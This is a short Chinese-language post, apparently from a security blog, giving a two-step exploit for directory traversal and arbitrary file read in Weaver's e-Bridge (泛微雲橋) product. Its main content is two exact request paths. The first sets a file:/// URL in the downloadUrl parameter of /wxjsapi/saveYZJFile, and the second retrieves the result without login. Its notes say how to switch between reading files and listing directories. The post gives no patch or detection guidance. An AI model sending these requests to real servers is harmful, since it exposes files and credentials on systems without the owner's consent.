泛微雲橋目錄遍歷+任意文件讀取 最新

上一篇文章：泛微雲橋任意文件讀取漏洞

利用方式：

第一步：

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt　　

第二步：

/file/fileNoLogin/id

注：

downloadUrl參數填寫文件的絕對路徑時，可以造成任意文件讀取；

downloadUrl參數填寫目錄的絕對路徑時，可以造成目錄遍歷。